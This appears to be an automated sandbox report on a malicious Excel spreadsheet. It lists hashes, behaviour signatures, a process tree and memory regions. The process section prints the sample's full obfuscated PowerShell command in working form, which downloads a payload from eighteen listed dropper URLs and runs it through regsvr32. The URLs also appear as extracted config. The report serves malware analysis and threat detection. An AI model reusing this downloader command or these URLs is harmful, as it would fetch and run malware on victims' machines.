Analysis

  • max time kernel
    20s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 21:42

General

  • Target

    41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d.xls

  • Size

    438KB

  • MD5

    58cd09a0cc6958ecfe77fe5c6f6feb81

  • SHA1

    d6443a069ea6c1f6d21dbaf700c329cb12aef2d6

  • SHA256

    41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d

  • SHA512

    62c3b55771518a530dc00dcc987d5ae2aa231281323e565c97f4c3763672c0dffd88dbc165e2c65bf972950377dbd18808515d867e40d39fa2077807d1526559

  • SSDEEP

    12288:f947a/JjsLZjXYc7X0/aXCKli04OaZ1X+Q7hFk:burYc7E/i004OSH7hFk

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://wildmanwildfood.com/wp-admin/wxyadXKXFe/

exe.dropper

https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/

exe.dropper

https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/

exe.dropper

https://fastonlineearn.com/wp-content/L/

exe.dropper

https://mbmscaffolding.co.uk/test/3j/

exe.dropper

https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/

exe.dropper

https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/

exe.dropper

http://lonaomer.com/wp-content/6G/

exe.dropper

https://tainformado.com.br/wp-content/0Ysot/

exe.dropper

https://nifdtb.in/wp-content/9uHo3GBgyIQ/

exe.dropper

https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/

exe.dropper

https://narsanat.com/banner/TnIhz/

exe.dropper

https://vanessanascimento.com.br/auren-xbox/cDD2dfW/

exe.dropper

https://medvital.com.br/arquivos/q6ZjbPPoR7l/

exe.dropper

https://mcjalandhar.in/1950-kill/BMoLHJM4g/

exe.dropper

https://nuranabd.com/wp-content/BhYOZ2pJV5q/

exe.dropper

https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/

exe.dropper

http://news.leta.com.vn/-/NQOY80o/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\etyockqw.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1744
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2940
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2144

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \??\c:\programdata\etyockqw.vbs

    Filesize

    2KB

    MD5

    a35f55cf91f2003615533b5be5948090

    SHA1

    b5b89075550e2592b69f4541cfbdf33dd8fbf175

    SHA256

    d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c

    SHA512

    098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899

  • memory/3068-1-0x000000007276D000-0x0000000072778000-memory.dmp

    Filesize

    44KB

  • memory/3068-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/3068-10-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-11-0x0000000006EA0000-0x0000000006FA0000-memory.dmp

    Filesize

    1024KB

  • memory/3068-12-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-13-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-14-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-15-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-16-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-24-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-23-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-22-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-21-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-20-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-19-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-18-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-17-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-27-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-38-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-25-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-40-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-39-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-37-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-36-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-35-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-34-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-33-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-31-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-41-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-47-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-46-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-52-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-54-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-53-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-61-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-60-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-59-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-58-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-57-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-56-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-55-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-51-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-50-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-49-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-48-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-45-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-44-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-43-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-42-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-30-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-29-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-28-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-26-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-65-0x000000007276D000-0x0000000072778000-memory.dmp

    Filesize

    44KB

  • memory/3068-66-0x0000000006390000-0x0000000006490000-memory.dmp

    Filesize

    1024KB

  • memory/3068-67-0x0000000006EA0000-0x0000000006FA0000-memory.dmp

    Filesize

    1024KB